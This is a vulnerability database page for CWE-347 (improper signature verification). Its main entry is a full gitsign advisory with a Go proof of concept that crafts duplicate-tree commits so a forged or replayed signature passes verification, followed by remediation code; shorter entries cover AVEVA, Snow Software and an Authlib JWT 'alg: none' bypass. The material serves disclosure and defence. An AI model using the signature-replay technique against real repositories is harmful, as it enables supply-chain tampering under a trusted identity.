Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1128 vulnerabilities reference this CWE, most recent first.

GHSA-7RMH-48MX-2VWC

Vulnerability from github – Published: 2026-05-08 22:38 – Updated: 2026-05-15 23:49
VLAI
Summary
gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits
Details

Summary

gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.

Severity

Medium (CVSS 3.1: 5.7)

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

  • Attack Vector: Network — a malformed commit can be distributed via any accessible git remote
  • Attack Complexity: High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)
  • Privileges Required: None — the most impactful form (signature replay) requires no signing key
  • User Interaction: Required — a victim must run gitsign verify on the malformed commit
  • Scope: Unchanged — impact is confined to the repository under verification
  • Confidentiality Impact: None
  • Integrity Impact: High — a verified signature appears to endorse content different from what git-core resolves and presents to users
  • Availability Impact: None

Affected Component

  • internal/commands/verify/verify.go — (o *options).Run (line 75)
  • internal/commands/verify-tag/verify_tag.go — (o *options).Run (line 77)
  • pkg/git/verify.go — ObjectHash (lines 126–158, specifically the commit() round-trip at 161–176)

CWE

  • CWE-347: Improper Verification of Cryptographic Signature
  • CWE-295: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered)

Description

Root cause: re-encoding instead of raw-byte verification

When gitsign verify is invoked, the commit is opened via go-git and its body is reconstructed through EncodeWithoutSignature before being passed to the cryptographic verifier:

// internal/commands/verify/verify.go:63–92
c, err := repo.CommitObject(*h)          // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil {  // re-encodes canonical form
    return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)

summary, err := v.Verify(ctx, data, sig, true)   // verifies re-encoded bytes, not raw bytes

The same pattern appears in verify-tag:

// internal/commands/verify-tag/verify_tag.go:76–95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
    return err
}

The loose-parsing assumption in go-git

The codebase itself acknowledges the problem in ObjectHash:

// pkg/git/verify.go:137–142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
    encoder, err = commit(obj, sig)

go-git's loose parsing means that for a commit containing two tree headers, it silently discards the first and retains the second. EncodeWithoutSignature then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.

Divergent verification paths confirm the inconsistency

The git verify-commit path (internal/commands/root/verify.go) receives the raw commit bytes directly from git-core and does not re-encode them:

// internal/commands/root/verify.go:56–70
detached := len(args) >= 2
if detached {
    data, sig, err = readDetached(s, args...)  // raw bytes from git-core
} else {
    sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true)  // raw bytes, no re-encoding

The two paths therefore reach opposite conclusions for the same malformed commit: git verify-commit fails (raw bytes with both trees ≠ signed canonical bytes), while gitsign verify succeeds (re-encoded bytes match signed bytes).

Concrete attack: signature replay without a signing key

An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:

tree T1                        ← Alice's real tree (what go-git and gitsign see)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
 <Alice's valid signature over T1 canonical form>
 -----END SIGNED MESSAGE-----

This is Alice's commit.

An attacker crafts a new malformed commit object:

tree T2                        ← attacker's malicious tree (git-core uses this)
tree T1                        ← Alice's tree (go-git uses this)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
 <Alice's valid signature — replayed verbatim>
 -----END SIGNED MESSAGE-----

This is Alice's commit.
  • gitsign verify: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com."
  • git log / git-core: uses T2 (attacker-controlled content).
  • Rekor lookup: ObjectHash also goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.

The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs gitsign verify.

Proof of Concept

// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go
package main

import (
    "context"
    "crypto"
    "crypto/ecdsa"
    "crypto/elliptic"
    "crypto/rand"
    "crypto/x509"
    "crypto/x509/pkix"
    "fmt"
    "io"
    "math/big"
    "strings"
    "time"

    "github.com/go-git/go-git/v5/plumbing"
    "github.com/go-git/go-git/v5/plumbing/object"
    "github.com/go-git/go-git/v5/storage/memory"
    "github.com/sigstore/gitsign/internal/signature"
    ggit "github.com/sigstore/gitsign/pkg/git"
)

type identity struct {
    cert *x509.Certificate
    priv crypto.Signer
}

func (i *identity) Certificate() (*x509.Certificate, error)       { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error)                { return i.priv, nil }
func (i *identity) Delete() error                                  { return nil }
func (i *identity) Close()                                         {}

func indentSig(sig string) string {
    sig = strings.TrimSuffix(sig, "\n")
    lines := strings.Split(sig, "\n")
    out := "gpgsig " + lines[0] + "\n"
    for _, ln := range lines[1:] {
        out += " " + ln + "\n"
    }
    return out
}

func main() {
    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
    tmpl := &x509.Certificate{
        SerialNumber:          big.NewInt(1),
        Subject:               pkix.Name{CommonName: "attacker"},
        NotBefore:             time.Now().Add(-time.Minute),
        NotAfter:              time.Now().Add(time.Hour),
        KeyUsage:              x509.KeyUsageDigitalSignature,
        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
        BasicConstraintsValid: true,
    }
    rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
    cert, _ := x509.ParseCertificate(rawCert)

    treeFirst  := strings.Repeat("a", 40) // git-core uses this
    treeSecond := strings.Repeat("b", 40) // go-git uses this
    author     := "author Eve <eve@example.com> 1700000000 +0000"
    committer  := "committer Eve <eve@example.com> 1700000000 +0000"
    msg        := "msg\n"

    // Sign the go-git canonical form (second tree only)
    canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg)
    id := &identity{cert: cert, priv: priv}
    resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),
        signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})
    if err != nil {
        panic(err)
    }

    // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)
    malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s",
        treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)

    st := memory.NewStorage()
    enc := st.NewEncodedObject()
    enc.SetType(plumbing.CommitObject)
    w, _ := enc.Writer()
    _, _ = w.Write([]byte(malformedRaw))
    _ = w.Close()
    c, err := object.DecodeCommit(st, enc)
    if err != nil {
        panic(err)
    }

    // Reproduce what gitsign verify does
    out := new(plumbing.MemoryObject)
    if err := c.EncodeWithoutSignature(out); err != nil {
        panic(err)
    }
    r, _ := out.Reader()
    verifyData, _ := io.ReadAll(r)

    roots := x509.NewCertPool()
    roots.AddCert(cert)
    v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
    _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)

    objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
    rawObj := &plumbing.MemoryObject{}
    rawObj.SetType(plumbing.CommitObject)
    _, _ = rawObj.Write([]byte(malformedRaw))

    fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
    fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
    fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
    fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
    fmt.Println("CERT_VERIFY_ERROR:", verr)           // nil = signature accepted
    fmt.Println("OBJECTHASH_ERROR:", oerr)
    fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
    fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}

Expected output:

FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git):  bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE:            bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL:  true
CERT_VERIFY_ERROR:             <nil>          ← signature accepted
OBJECTHASH_ERROR:              <nil>
OBJECTHASH_FROM_VERIFY_DATA:   <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH:     <different hash>   ← hash mismatch confirms split

Impact

  • Signature binding bypass: gitsign verify reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).
  • Signature replay without a key: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes gitsign verify but points to attacker-controlled content, without possessing any signing key.
  • Rekor tlog inconsistency: ObjectHash also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.
  • Verification path divergence: git verify-commit and gitsign verify reach opposite verdicts for the same malformed commit, undermining auditability.

Recommended Remediation

Option 1: Verify against raw bytes (preferred)

Change the gitsign verify and gitsign verify-tag CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what commandVerify already does when called by git verify-commit:

// internal/commands/verify/verify.go — replace lines 63–92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
    return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
    return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
    return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
    return err
}
// data is now the raw bytes without the gpgsig header — identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)

This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.

Option 2: Detect and reject malformed objects

Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:

func validateRawCommitFields(data []byte) error {
    seen := map[string]bool{}
    for _, line := range bytes.Split(data, []byte("\n")) {
        if idx := bytes.IndexByte(line, ' '); idx > 0 {
            key := string(line[:idx])
            if seen[key] {
                return fmt.Errorf("malformed commit: duplicate field %q", key)
            }
            seen[key] = true
        }
        if len(line) == 0 {
            break // end of headers
        }
    }
    return nil
}

This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/sigstore/gitsign"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T22:38:50Z",
    "nvd_published_at": "2026-05-15T17:16:47Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git\u0027s `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.7)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network \u2014 a malformed commit can be distributed via any accessible git remote\n- **Attack Complexity:** High \u2014 exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)\n- **Privileges Required:** None \u2014 the most impactful form (signature replay) requires no signing key\n- **User Interaction:** Required \u2014 a victim must run `gitsign verify` on the malformed commit\n- **Scope:** Unchanged \u2014 impact is confined to the repository under verification\n- **Confidentiality Impact:** None\n- **Integrity Impact:** High \u2014 a verified signature appears to endorse content different from what git-core resolves and presents to users\n- **Availability Impact:** None\n\n## Affected Component\n\n- `internal/commands/verify/verify.go` \u2014 `(o *options).Run` (line 75)\n- `internal/commands/verify-tag/verify_tag.go` \u2014 `(o *options).Run` (line 77)\n- `pkg/git/verify.go` \u2014 `ObjectHash` (lines 126\u2013158, specifically the `commit()` round-trip at 161\u2013176)\n\n## CWE\n\n- **CWE-347**: Improper Verification of Cryptographic Signature\n- **CWE-295**: Improper Certificate Validation (secondary \u2014 the mismatch allows a cert to appear to cover content it never covered)\n\n## Description\n\n### Root cause: re-encoding instead of raw-byte verification\n\nWhen `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier:\n\n```go\n// internal/commands/verify/verify.go:63\u201392\nc, err := repo.CommitObject(*h)          // go-git parses the raw object\n...\nc2 := new(plumbing.MemoryObject)\nif err := c.EncodeWithoutSignature(c2); err != nil {  // re-encodes canonical form\n    return err\n}\nr, _ := c2.Reader()\ndata, _ := io.ReadAll(r)\n\nsummary, err := v.Verify(ctx, data, sig, true)   // verifies re-encoded bytes, not raw bytes\n```\n\nThe same pattern appears in `verify-tag`:\n\n```go\n// internal/commands/verify-tag/verify_tag.go:76\u201395\ntagData := new(plumbing.MemoryObject)\nif err := tagObj.EncodeWithoutSignature(tagData); err != nil {\n    return err\n}\n```\n\n### The loose-parsing assumption in go-git\n\nThe codebase itself acknowledges the problem in `ObjectHash`:\n\n```go\n// pkg/git/verify.go:137\u2013142\n// We\u0027re making big assumptions here about the ordering of fields\n// in Git objects. Unfortunately go-git does loose parsing of objects,\n// so it will happily decode objects that don\u0027t match the unmarshal type.\n// We should see if there\u0027s a better way to detect object types.\nswitch {\ncase bytes.HasPrefix(data, []byte(\"tree \")):\n    encoder, err = commit(obj, sig)\n```\n\ngo-git\u0027s loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree \u2014 which can differ from what git-core resolves.\n\n### Divergent verification paths confirm the inconsistency\n\nThe `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them:\n\n```go\n// internal/commands/root/verify.go:56\u201370\ndetached := len(args) \u003e= 2\nif detached {\n    data, sig, err = readDetached(s, args...)  // raw bytes from git-core\n} else {\n    sig, err = readAttached(s, args...)\n}\n...\nsummary, err := v.Verify(ctx, data, sig, true)  // raw bytes, no re-encoding\n```\n\nThe two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees \u2260 signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes).\n\n### Concrete attack: signature replay without a signing key\n\nAn attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:\n\n```\ntree T1                        \u2190 Alice\u0027s real tree (what go-git and gitsign see)\nauthor Alice \u003calice@corp.com\u003e ...\ncommitter Alice \u003calice@corp.com\u003e ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n \u003cAlice\u0027s valid signature over T1 canonical form\u003e\n -----END SIGNED MESSAGE-----\n\nThis is Alice\u0027s commit.\n```\n\nAn attacker crafts a new malformed commit object:\n\n```\ntree T2                        \u2190 attacker\u0027s malicious tree (git-core uses this)\ntree T1                        \u2190 Alice\u0027s tree (go-git uses this)\nauthor Alice \u003calice@corp.com\u003e ...\ncommitter Alice \u003calice@corp.com\u003e ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n \u003cAlice\u0027s valid signature \u2014 replayed verbatim\u003e\n -----END SIGNED MESSAGE-----\n\nThis is Alice\u0027s commit.\n```\n\n- **`gitsign verify`**: go-git picks T1, re-encodes, Alice\u0027s signature verifies. Output: \"Good signature from alice@corp.com.\"\n- **`git log` / `git-core`**: uses T2 (attacker-controlled content).\n- **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash \u2014 consistent with the forged verification output but not with the actual raw object.\n\nThe attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`.\n\n## Proof of Concept\n\n```go\n// poc_tree_mismatch.go \u2014 run from repo root: go run ./poc_tree_mismatch.go\npackage main\n\nimport (\n    \"context\"\n    \"crypto\"\n    \"crypto/ecdsa\"\n    \"crypto/elliptic\"\n    \"crypto/rand\"\n    \"crypto/x509\"\n    \"crypto/x509/pkix\"\n    \"fmt\"\n    \"io\"\n    \"math/big\"\n    \"strings\"\n    \"time\"\n\n    \"github.com/go-git/go-git/v5/plumbing\"\n    \"github.com/go-git/go-git/v5/plumbing/object\"\n    \"github.com/go-git/go-git/v5/storage/memory\"\n    \"github.com/sigstore/gitsign/internal/signature\"\n    ggit \"github.com/sigstore/gitsign/pkg/git\"\n)\n\ntype identity struct {\n    cert *x509.Certificate\n    priv crypto.Signer\n}\n\nfunc (i *identity) Certificate() (*x509.Certificate, error)       { return i.cert, nil }\nfunc (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }\nfunc (i *identity) Signer() (crypto.Signer, error)                { return i.priv, nil }\nfunc (i *identity) Delete() error                                  { return nil }\nfunc (i *identity) Close()                                         {}\n\nfunc indentSig(sig string) string {\n    sig = strings.TrimSuffix(sig, \"\\n\")\n    lines := strings.Split(sig, \"\\n\")\n    out := \"gpgsig \" + lines[0] + \"\\n\"\n    for _, ln := range lines[1:] {\n        out += \" \" + ln + \"\\n\"\n    }\n    return out\n}\n\nfunc main() {\n    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n    tmpl := \u0026x509.Certificate{\n        SerialNumber:          big.NewInt(1),\n        Subject:               pkix.Name{CommonName: \"attacker\"},\n        NotBefore:             time.Now().Add(-time.Minute),\n        NotAfter:              time.Now().Add(time.Hour),\n        KeyUsage:              x509.KeyUsageDigitalSignature,\n        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},\n        BasicConstraintsValid: true,\n    }\n    rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, \u0026priv.PublicKey, priv)\n    cert, _ := x509.ParseCertificate(rawCert)\n\n    treeFirst  := strings.Repeat(\"a\", 40) // git-core uses this\n    treeSecond := strings.Repeat(\"b\", 40) // go-git uses this\n    author     := \"author Eve \u003ceve@example.com\u003e 1700000000 +0000\"\n    committer  := \"committer Eve \u003ceve@example.com\u003e 1700000000 +0000\"\n    msg        := \"msg\\n\"\n\n    // Sign the go-git canonical form (second tree only)\n    canonicalData := fmt.Sprintf(\"tree %s\\n%s\\n%s\\n\\n%s\", treeSecond, author, committer, msg)\n    id := \u0026identity{cert: cert, priv: priv}\n    resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),\n        signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})\n    if err != nil {\n        panic(err)\n    }\n\n    // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)\n    malformedRaw := fmt.Sprintf(\"tree %s\\ntree %s\\n%s\\n%s\\n%s\\n%s\",\n        treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)\n\n    st := memory.NewStorage()\n    enc := st.NewEncodedObject()\n    enc.SetType(plumbing.CommitObject)\n    w, _ := enc.Writer()\n    _, _ = w.Write([]byte(malformedRaw))\n    _ = w.Close()\n    c, err := object.DecodeCommit(st, enc)\n    if err != nil {\n        panic(err)\n    }\n\n    // Reproduce what gitsign verify does\n    out := new(plumbing.MemoryObject)\n    if err := c.EncodeWithoutSignature(out); err != nil {\n        panic(err)\n    }\n    r, _ := out.Reader()\n    verifyData, _ := io.ReadAll(r)\n\n    roots := x509.NewCertPool()\n    roots.AddCert(cert)\n    v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))\n    _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)\n\n    objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))\n    rawObj := \u0026plumbing.MemoryObject{}\n    rawObj.SetType(plumbing.CommitObject)\n    _, _ = rawObj.Write([]byte(malformedRaw))\n\n    fmt.Println(\"FIRST_TREE_IN_RAW (git-core):\", treeFirst)\n    fmt.Println(\"SECOND_TREE_IN_RAW (go-git):\", treeSecond)\n    fmt.Println(\"GO_GIT_PARSED_TREE:\", c.TreeHash.String())\n    fmt.Println(\"VERIFY_DATA_EQUALS_CANONICAL:\", string(verifyData) == canonicalData)\n    fmt.Println(\"CERT_VERIFY_ERROR:\", verr)           // nil = signature accepted\n    fmt.Println(\"OBJECTHASH_ERROR:\", oerr)\n    fmt.Println(\"OBJECTHASH_FROM_VERIFY_DATA:\", objHash)\n    fmt.Println(\"RAW_MALFORMED_COMMIT_HASH:\", rawObj.Hash().String()) // differs from objHash\n}\n```\n\n**Expected output:**\n\n```\nFIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nSECOND_TREE_IN_RAW (go-git):  bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nGO_GIT_PARSED_TREE:            bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nVERIFY_DATA_EQUALS_CANONICAL:  true\nCERT_VERIFY_ERROR:             \u003cnil\u003e          \u2190 signature accepted\nOBJECTHASH_ERROR:              \u003cnil\u003e\nOBJECTHASH_FROM_VERIFY_DATA:   \u003chash of canonical form\u003e\nRAW_MALFORMED_COMMIT_HASH:     \u003cdifferent hash\u003e   \u2190 hash mismatch confirms split\n```\n\n## Impact\n\n- **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).\n- **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key.\n- **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.\n- **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability.\n\n## Recommended Remediation\n\n### Option 1: Verify against raw bytes (preferred)\n\nChange the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`:\n\n```go\n// internal/commands/verify/verify.go \u2014 replace lines 63\u201392\nenc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)\nif err != nil {\n    return fmt.Errorf(\"error reading encoded commit object: %w\", err)\n}\nr, err := enc.Reader()\nif err != nil {\n    return err\n}\nrawBytes, err := io.ReadAll(r)\nif err != nil {\n    return err\n}\ndata, sig, err := git.ExtractSignatureFromRawObject(rawBytes)\nif err != nil {\n    return err\n}\n// data is now the raw bytes without the gpgsig header \u2014 identical to what git-core passes\nsummary, err := v.Verify(ctx, data, sig, true)\n```\n\nThis aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly.\n\n### Option 2: Detect and reject malformed objects\n\nAdd a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing:\n\n```go\nfunc validateRawCommitFields(data []byte) error {\n    seen := map[string]bool{}\n    for _, line := range bytes.Split(data, []byte(\"\\n\")) {\n        if idx := bytes.IndexByte(line, \u0027 \u0027); idx \u003e 0 {\n            key := string(line[:idx])\n            if seen[key] {\n                return fmt.Errorf(\"malformed commit: duplicate field %q\", key)\n            }\n            seen[key] = true\n        }\n        if len(line) == 0 {\n            break // end of headers\n        }\n    }\n    return nil\n}\n```\n\nThis is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-7rmh-48mx-2vwc",
  "modified": "2026-05-15T23:49:58Z",
  "published": "2026-05-08T22:38:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44309"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sigstore/gitsign"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits"
}

GHSA-7V4M-QGJ2-P3JC

Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-14 00:00
VLAI
Details

AVEVA System Platform versions 2017 through 2020 R2 P01 does not verify, or incorrectly verifies, the cryptographic signature for data.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-32977"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-04T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "AVEVA System Platform versions 2017 through 2020 R2 P01 does not verify, or incorrectly verifies, the cryptographic signature for data.",
  "id": "GHSA-7v4m-qgj2-p3jc",
  "modified": "2022-04-14T00:00:44Z",
  "published": "2022-04-05T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32977"
    },
    {
      "type": "WEB",
      "url": "https://www.aveva.com/content/dam/aveva/documents/support/cyber-security-updates/SecurityBulletin_AVEVA-2021-002.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-180-05"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7W7C-RQJ8-5PMG

Vulnerability from github – Published: 2024-02-08 15:30 – Updated: 2024-02-08 15:30
VLAI
Details

Improper Verification of Cryptographic Signature vulnerability in Snow Software Inventory Agent on MacOS, Snow Software Inventory Agent on Windows, Snow Software Inventory Agent on Linux allows File Manipulation through Snow Update Packages.This issue affects Inventory Agent: through 6.12.0; Inventory Agent: through 6.14.5; Inventory Agent: through 6.7.2.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-08T13:15:09Z",
    "severity": "HIGH"
  },
  "details": "Improper Verification of Cryptographic Signature vulnerability in Snow Software Inventory Agent on MacOS, Snow Software Inventory Agent on Windows, Snow Software Inventory Agent on Linux allows File Manipulation through Snow Update Packages.This issue affects Inventory Agent: through 6.12.0; Inventory Agent: through 6.14.5; Inventory Agent: through 6.7.2.\n\n",
  "id": "GHSA-7w7c-rqj8-5pmg",
  "modified": "2024-02-08T15:30:27Z",
  "published": "2024-02-08T15:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1149"
    },
    {
      "type": "WEB",
      "url": "https://community.snowsoftware.com/s/feed/0D5Td000004YtMcKAK"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7WC2-QXGW-G8GG

Vulnerability from github – Published: 2026-03-04 20:55 – Updated: 2026-03-06 21:56
VLAI
Summary
Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification
Details

Summary

After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.

Details

It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75

